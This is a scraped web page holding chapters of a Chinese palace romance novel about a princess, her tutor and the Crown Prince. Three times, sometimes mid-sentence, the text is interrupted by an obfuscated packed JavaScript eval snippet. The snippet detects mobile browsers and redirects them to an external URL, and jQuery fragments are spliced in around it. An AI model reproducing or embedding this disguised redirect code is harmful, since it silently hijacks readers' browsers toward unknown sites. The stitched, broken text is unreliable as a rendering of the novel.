;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378276|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春风则瞪大了眼睛,直到那包沉甸甸的银子到了眼前。 皇后又训斥春风:“你如今是公主,再不能做出这般不得体的事。” 春风“如沐春风”,频频点头:“我全听母后的,母后对我真好,我会记得母后的恩情的!” 皇后:“……” 她顶多是把她拎到兴宁宫训了两句,这就叫好了? 她抿了下唇,唇角纹路略深。 再看桌边饭菜已经摆好了,春风已经捧着碗吃起东西,一副没心没肺的模样。 她摇摇头,也令人布菜。 这是许久以来,皇后留人在宫里吃晚膳,饭后,瑶芝还装了一盒子甜食送给春风,又得了几句“谢谢瑶芝姐姐”。 春风走后,皇后不由哼笑一下:“这孩子眼界这么浅,几个钱就把她收买了。将来莫不是哪个男人给她钱,就把她勾走了吧?” 瑶芝在一旁暗笑,皇后似乎没发现,她已经想到“将来”去了。 …… 春风和香蕊捧着一百两银子和一盒好吃的,回了芙蓉阁。 这可是过了明路的钱,加之今日虚惊一场,春风手指缝宽,一欢喜就散了二十两给香蕊、蕙儿、芬儿她们。 蕙儿、芬儿听春风说崇文馆的事,实在捏一把汗,又听说化险为夷,又笑了起来。 香蕊得了赏钱,却有愁绪,劝春风:“公主,日后在崇文馆可得好好读书,不能再动别的心思了。” 春风说:“不动了,我答应过母后,不能出尔反尔。” 经过这事,她虽然不说“痛定思痛”,至少也心存收敛之意。 当务之急,还是把林青晓的信弄明白。 最好把林青晓弄到宫里当公主,让她自己感受,她大哥有多可怕、多不讲理。 或许是抱了这种心情,这日夜里春风睡着后做了个梦。 梦里,林青晓果然当回真公主。 而她仗势欺人,逼皇宫所有人的手都涂了红艳艳的蔻丹,好不快活,直到太子眉眼淡淡,他抬起手,按住她的后颈。 春风猛地睁开眼睛。 她摸着自己后脖颈,有点小碎毛,但总觉得那大手仍掌着那片肌肤。 她搓搓后脖颈,此时天色渐亮,香蕊和蕙儿撩开鹅黄床帐:“公主你今日醒这么早?” 春风:“唔。” 她压下那奇怪的感觉,起身洗漱用过早膳,前往崇文馆。 路上她和纯淑碰了个正着。 崇文馆不是芙蓉阁,这回太后也好,李铉也罢,都没有刻意替春风瞒着,因此她昨日的事迹宫里早就知道了。 纯淑:“昨天皇兄来了,你没事吧?” 春风扬起眉眼,得意地说:“好着呢。” 纯淑笑了:“你怎么会想到那么做的?” 春风:“说来话长……” 话音未落,她和纯淑步入崇文馆,只觉得哪里不对,定睛一看,那道连接东宫的侧门正大大敞着! 纯淑很是惊讶:“这个门原来真能打开?” 春风头皮一麻,有种不好的预感。 果然,守在门口的长英笑眯眯对春风招手:“公主,过来吧啊。” 11. 第十一章 春风不想过去。 但没办法,这扇门就是为她开的,不然怎么不叫别人,光叫她。 她鼓了下脸颊,鞋底蹭着石板路到门钉红木门。 见她不情不愿的,长英暗自好笑,解释一句:“太子让公主来东宫……” 春风:“不用说了,我知道。” 长英:“哦?” 春风沉着脸,也不知是在效仿谁,道:“肯定是怕我在崇文馆无法静心读书,所以不如来东宫,反正东宫安静,适合读书。对不对?” 长英憋不住笑:“公主聪敏,正是如此。” 春风:“……” 哼,说来说去,李铉就是要管她。 虽然也是自己不应该那么做,但做都做了,他就不能像皇帝那样去“闭关”,当做什么也不知道吗。 不多时,春风被领到一个殿内,正是她随黄嬷嬷学礼仪的地方。 看着布景,她乍然间还有点亲切。 香蕊将书箧放好,束着双手退出去。 东宫分给春风的老师是原先的太子少师,是个白胡须的小老头,姓邹。 他从前负责教导太子,如今古稀之年早已致仕,这次为了子孙前途,来东宫谋了个差事。 此人说话声音洪亮沉稳,就不是个会徇私的主。 春风想,还不如和小孩一起读书呢。 长英低声对春风说:“公主好生学着,将来就能和纯淑公主一起。” 春风胡乱点头:“好吧好吧。” 她不是不懂这些道理,都被捉来东宫了,还能怎么办。 总之,她这回要好好读书,至少先弄懂林青晓的信件的。 她前面在崇文馆已经圈出好些字,这日午时,那老头收拾书本准备去吃饭,春风拿着纸去问。 邹先生扫了一眼,说:“这些极为简单,公主不妨自己去藏书阁找,以温故而知新。” 春风怀疑他只是赶着去吃午饭。 她自己不急,今日香蕊带了好些甜糕,她吃得嘴里发腻,不太想吃午饭。 于是她和香蕊去找藏书阁。 她在东宫没多少熟人,长英是一个,另一个就是当初带于秀君、林大田来芙蓉阁的太监,名唤尽云。 长英不在,春风叫住尽云,提自己要去书阁。 尽云面上犹豫,道:“书阁并非能寻常进出之地。须得通禀太子殿下。” 春风:“那你去问问。” 若是旁人这么说,尽云不需问就回绝了,但春风的话……尽云想起上回,他将她养父母领到宫里的事。 不管如何都是一种破格,以太子的行事作风,甚是少见,再说长英,对这小公主从无敷衍。 思及此,尽云还真去问了。 今日太子不在东宫,他跑去太极宫才找到人,在春风等得不耐烦前,笑着说:“公主,请。” 沿着台阶拾级而上,绕了好几圈才到书阁,牌匾上书“青客舍”,屋内干爽幽静,弥漫着一股淡而沉稳的香味。 一副嵌螺钿雕花黄杨木桌椅靠着窗户,几排木质书架错落有致,遍布书籍。 春风从窗户望出去,能看到不少楼宇,其中还有自己的芙蓉阁。 她反应过来,这就是能在芙蓉阁瞥见的那幢楼宇,她都看到芙蓉阁里形似蕙儿的小人儿提着水走过。 春风一时新奇,差点忘了自己来书阁的目的。 因尽云催着自己,她没做出格的事,按计划找书。 尽云问:“公主要找什么书?” 春风:“我自己找。” 结果并不顺利,她没找到自己想找的书,随手捡走一卷:“就这个了。” 尽云:“……是。” 出青客舍的时候,春风还犯嘀咕,觉得尽云防贼似的,那些书她又看不懂,怕什么。 不过她不知道,邹先生叫她去的“藏书阁”在崇文馆,是皇家藏书阁,贮藏海量书籍,供皇室学子随意阅览。 青客舍则是李铉的私人藏书阁。 …… 隔日,春风在邹先生滔滔不绝的讲课里,昏昏欲睡,不知何时,邹先生突然安静了。 她醒过神,小老头盯着她桌上的书。 正是她从青客舍拿的。 春风试着把书从左边挪到右边,邹先生目光也从左到右。 很快,小老头健步如飞,走到她桌前,很是吃惊:“公主的书从哪来的?” 春风:“书阁拿的。” 邹先生:“不可能,藏书阁不可能有这本书,这是,这是河阳居士的《山河论》,孤本!” 春风再不懂,从他语气也能得知这是宝贝。 在邹先生伸手之前,她立刻将书捧到自己怀里。 邹先生按捺着激动:“公主,可否让为师看看……” 春风哼哼一笑,从自己书箧里拿出几张纸,问:“那我问问你,这几个字,什么意思?” 昨日还让春风自己查,此刻邹先生捧着纸,一五一十解释:“这是‘急’,着急的急,这是‘找’……” 春风点点头,记进心里。 在邹先生问起那书前,她又说:“哦对了,这两天课业是不是太多了?” 邹先生:“我将来少布置一点吧。” 春风:“唉,昨日课业我还没写完呢,不知先生可有什么办法?” 邹先生吹胡子瞪眼:“你这小娃娃,怎么蹬鼻子上脸的!” 春风翘着手指,弹弹那书本封皮。 邹先生纠结了好一会儿,终于还是说:“布置好的课业不能随意减少,不若我……写了点?” …… 那日尽云找到李铉时,他正在太极宫,与康公公说:“王家的事,父皇插手不合适,你且去和父皇说一声。” 这不是商议,而是命令。 康公公脸憋成菜色,也只好对李铉行礼:“是,奴婢知晓了。” 而听到春风要去青客舍,李铉只犹豫一瞬,便同意了。 既是他把人提溜到东宫,也不必要让她跑崇文馆,那边藏书阁有的书,青客舍也有。 省得她总以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378277|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来东宫,自己就受了天大的委屈。 待李铉得空,吩咐长英:“叫她过来。” 不必明说是谁,长英“诶”一声就退下。 没过一会儿,春风和香蕊一前一后来到殿外。 春风想那邹老头不会出卖她,就坦坦荡荡的。 果然,李铉叫她不为别的,只是要带她去寿阳宫,上回他突击崇文馆,本也是打算与春风一起去见太后。 太后拄着拐杖,由明远扶着在院子里散步。 他们“兄妹”便是这时抵达的。 只看李铉一身浅黄云纹朝服,头戴乌纱巾,长眉入鬓,眼眸深邃,春风跟在他身后两步。 进寿阳宫正殿,两人行礼:“皇祖母。” 太后缓缓吐出一口气,命孙子孙女起身。 她仔细瞧春风,将养了一阵子,这女孩儿身上的灵动不减,双眸如含潺潺流水,多了几分自重,更令人怜爱。 要不是学礼仪、崇文馆的事才过去不久,太后都想说,这孩子真是乖巧可人。 自然,她如今早不疑春风的身份,关切地问了几句日常起居,春风一一回了。 太后又说:“你在东宫读书课业如何?” 春风让香蕊拿出自己的课业。 这里面前半部分是她自己写的,歪歪扭扭,后半部分呢,则是老邹写的。 不过她一点不担心太后会看到后面。 果然,太后看了三张纸,说:“有待进步。” 春风也说:“孙女才刚拿笔,老师说我能写成这样,是‘天赋异禀’。” 实际上老邹用这四个字充满嘲讽。 春风一听是好词,就当夸奖了。 看她小得意呢,太后缓和眉眼,说:“好,好,不急着练成,将来日子还长着。” 春风刚要拿回纸,只听太后又说:“铉儿也看看。” 春风:“……” 长英接过那些纸,递给李铉,李铉不急着看,只搁在手边。 他手指压在纸面上,轻轻点了一下。 那祖孙二人说话,春风的心神被自己课业牵走。 怎么又落到太子手里了! 她捧着茶杯,心情忽上忽下,一时后悔叫老邹帮忙写,一时又恼太后擅自把纸给李铉。 又想李铉那么忙,还看她什么课业,自己还是别太担心。 她发着呆,忽的被明远叫了声:“公主?” 原来李铉早已起身准备离去,那课业被长英拿在手里。 春风讪讪一笑,忙跟上李铉几人。 该怎么把课业要回来呢?她一会儿皱眉,一会儿咬嘴唇。 香蕊扯了好几次春风的袖子,她都没怎么留心,直到前面男子的脚步停住。 春风抬头,这才发觉,她一路跟着李铉回到东宫。 李铉一手负于身后,神色淡淡,天然有种居高临下的矜贵之气。 他看着她,似也想知道她怎么跟来了东宫。 春风心一横,小声说:“皇兄,我想和你一起吃饭,行吗。” 12. 第十二章 东宫的膳食,再来十个春风也是够吃的。 正殿内,随着长英宣用膳,衣着统一的宫女捧着漆木托盘,将一道道菜摆在桌上,落下时几乎无声。 春风被安排在李铉左手旁第二个位置。 她双手交叠放在大腿上,双眸循着那些菜,一抬一落。 她本意借口来吃饭,再伺机拿走课业,但她也很好奇东宫吃什么。 芙蓉阁都吃得那么好,没道理东宫吃得不好。 嗅到饭菜香味,她满心期待,但随着桌上出现清蒸鳜鱼、清炖鸽子汤、炖香菇羊肉、蒸山药、水煮青菜…… 她渐渐感到无措。 自古常言:由奢入俭难。这些饭菜对以前的春风来说,当然是做梦都不敢想的佳肴,可如今她的芙蓉阁不止有大鱼大肉,胡椒那些珍贵香料和不要钱似的。 看着这么清淡的菜,她直犯嘀咕,悄悄观察李铉。 长英布菜,李铉端着一只薄胎瓷碗,手持箸,行止不紧不慢。 他每一道菜都用,恰好不多不少,从那冷淡的神情也看不出好不好吃、喜不喜欢。 黄嬷嬷和春风讲过食不言的规矩,她不敢在东宫叨叨,但她不知道,自己一双大眼睛泄露了所有心思。 她吃第一口尚且觉得好吃,可越吃眼里光彩越暗。 自然,也不是所有菜都这样,里面一道酒烤鱼春子味道重一点,是明显的鲜香。 她示意香蕊夹,很快那道菜见了底。 长英眼神询问李铉,李铉颔首。 不一会儿又上了一道酒烤鱼春子。 用过膳,春风满足漱口,没忘记她的目的,心里打起算盘。 她不提回去,李铉没说什么,宫人自是上了两盏茶。 在芙蓉阁饭后也会吃香片茶,里面会放蜂蜜水,甜滋滋的。 于是春风猝不及防吃了一大口,舌尖触及咸味,心内一惊,好容易给咽下去。 娘欸,这茶怎么是咸的! 她皱起鼻尖,慢慢放下茶盏,并发誓再不吃东宫一口茶。 李铉缓缓抿一口茶水,就知道看她快坐不住了。 在春风突然提出要一起用膳时,他是有一丝愕然。 但转瞬间,他就猜到,事出反常必有妖,一向需要抓才肯来东宫的人,突然主动来,定有目的。 又想了一下,在寿阳宫他拿了她一卷课业,可见问题就出在课业上。 既然写了还怕被发现,说明是找人代写的。 他搁下茶盏,唤长英:“把公主的课业拿来。” 长英:“是。” 果然提到课业,春风后背僵硬,明眸流转,长睫倏而抬起,倏而轻扇,肚子里在叽里咕噜冒着坏水。 李铉抖抖那沓纸,春风无端觳觫了一下。 他看起第一页,只听春风支支吾吾:“皇兄,我写得……写得不好,可否让我拿回去改一改再给皇兄看?” 李铉:“不用,你天赋异禀,不必改过去的字。” 春风一时分不出他是不是夸她。 她微微倾身,试图转移话题:“皇兄皇兄,方才那个菜,挺好吃的。” 李铉翻到第四页,扫过那蚂蚁爬似的字,不错,到这还是她自己写的。 他分出点注意力,说:“长英,把余下的春子送去芙蓉阁。” 长英说:“是。” 这回又给挡了回来,春风眼看李铉又翻过一页,整个人放弃挣扎,缓缓软下去。 她开始思索被发现后要怎么狡辩。 结果,李铉“呼啦”一下,合上所有纸。 春风睁圆了眼睛,满眼不可置信。 李铉让长英把课业还给她,淡淡说:“下回写好点。” 春风:“啊咳咳,一定。” 李铉想,他还没做什么,她倒是被自己肚子里的坏水呛到了。 另一边春风如蒙大赦,一刻钟也待不下去了,起身告辞。 长英提着包好的鱼春子送春风到门口。 春风正得意,话也多起来,指着鱼春子问长英:“这个怪好吃的,我在芙蓉阁怎么没吃过?” 长英笑道:“小祖宗,这是吴郡进贡的春子,今年不多,阖宫上下也就东宫、寿阳宫和太极宫有。” … 夜色里,东宫上下挂起八角宫灯,宫灯在北风里无声地盘旋了一下。 李铉肩上披着一件石青披风,擎着一盏灯登上青客舍。 他问尽云:“她拿了哪本书?” 尽云:“河阳居士的《山河论》。” 李铉无需多加思索,既是这本书,课业定是邹先生替春风写的。 他眉尾一压,说:“你明日找邹先生,说《山河论》借他到年后,其余事该照常便照常。” 尽云:“是。” 他刚要下去,李铉又叫住他:“慢。让邹先生说,是他自己找我禀明。” 邹先生脾气硬得和臭石头一样,又好面子,谁都知道他是为子孙计回到权力漩涡。 他却把自己架起来做“清流”,劝谏太子不得僭越皇上,打定主意只在东宫教书而不为旁的。 此人拧巴着,就说不出找李铉借书。 如今李铉主动挑破,本也没什么。 但尽云奇怪的是,为何要让邹先生说是自己找太子禀明。 长英拍拍尽云的肩,说:“邹先生手里的《山河论》若过了明路,第一个‘遭殃’的是谁?” 尽云不傻,说:“玉宁公主。” 长英:“没错,公主总该知道缘由的。若她得知是太子殿下挑破,就会气殿下;若是邹先生说自己主动禀明,她只会气邹先生。” 尽云明白了,又没全明白,不过,太子为何要把公主的气转移给邹先生? 屋舍内,风声簌簌,李铉翻着书,眼角余光有什么在上下弹跳。 他放下书,瞥向窗外。 不远处的芙蓉阁内明亮如昼,一只明亮的小小人挥舞着一沓纸,一会儿叉起腰,一会儿旋转一圈,好是神气。 那道小影子仿佛一粒石子,掉进他眼里那潭沉寂的水,泛开一圈圈涟漪。 …… 这日直到睡前,春风都很兴奋。 晚膳时在东宫的经历,在她口中成“虎口逃生”,靠自己的机智折服了蕙儿、芬儿。 香蕊好笑,问:“公主,那鱼春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382474|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子要明日吃么?” 春风想起长英的话,自也知道这玩意十足珍贵,说:“先存起来吧。” 她想给于秀君、林大田尝尝这新鲜玩意。 她双手叠放后脑勺,躺在榻上,翘着唇角,说:“这日子真好啊。” 但她的好日子没坚持到明天。 这日下学,老邹自己眼下有青黑,胡子没打理好,乱糟糟的。 他不善地瞅着春风,说:“今日课业:二十页大字。” 春风收拾着东西,一愣:“什么?二十页?” 老邹:“没错。” 春风:“你把书还给我,你出尔反尔,说好的以后少布置的。” 老邹心里也有气,为一本书,他拿人手短,将来哪有脸面反对太子越过皇帝执政? 只是太子交代过,他再不情愿,也只好瓮声瓮气,说:“臣已经禀明太子殿下,臣可以直接观摩这本书。” 春风难以置信。 想起灯影戏里也有这样的情节,她说:“你背叛了我。” 老邹双眼一瞪,他自诩清流,这辈子还没和“背叛”挂钩,急了:“你别乱用词!” 春风:“就是背叛!” 老邹恼羞成怒。 于是春风的课业从二十页大字,拔高到一百页大字。 得知前因后果,香蕊焦急说:“那咱们得快回芙蓉阁写啊!” 春风气鼓鼓:“不写,就不写。” 她走着走着,北风吹得人一个激灵,她忽的眯起眼儿笑:“我有个办法。” …… 兴宁宫。 清晨,皇后沐浴焚香,陷入一片宁静与悠然。 自与皇帝龃龉渐深,成一对怨偶,她不想陷入空虚与仇恨里,就爱上插花,好歹消磨漫长的时间。 这时节外面没什么花,但皇宫里自有各种办法养花。 皇后在案几前坐定,唤了声:“把花拿来。” 伴随着一阵轻盈的脚步声,一个女孩捧着高低错落的菊花、红梅、金桂…… 察觉到不是瑶芝,皇后定睛一瞧。 春风的脑袋从花丛后冒了出来:“嘿嘿,母后。” 皇后:“……” 她皱起眉:“你怎么来了。” 春风把花搁好,说:“我不能来吗。” 皇后唇角动了一下,说:“随你。” 她抬手要花,春风递花给她,却故意垂着右手,用不顺手的左手递。 不用两回,皇后就察觉不对,说:“你右手怎么了?” 春风眼眶突的红了,小声说:“右手抬不起来了。” 皇后放下剪子,去看她的手:“找太医看了吗,瑶芝,宣太医……” 找太医就露馅了,春风连忙打断她:“是先生罚我抄一百页大字,我不敢不从,就写了一夜,却还没写完。” 皇后握着她右手,能感觉她的手在轻颤。 她苍白着脸,垂下眼,一滴晶莹的眼泪挂在浓睫上,泫然欲泣,只教人心生可怜。 皇后倏地站起身:“岂有此理!你是公主,怕什么先生?” “走,本宫不信一个臣子还能凌驾皇家!”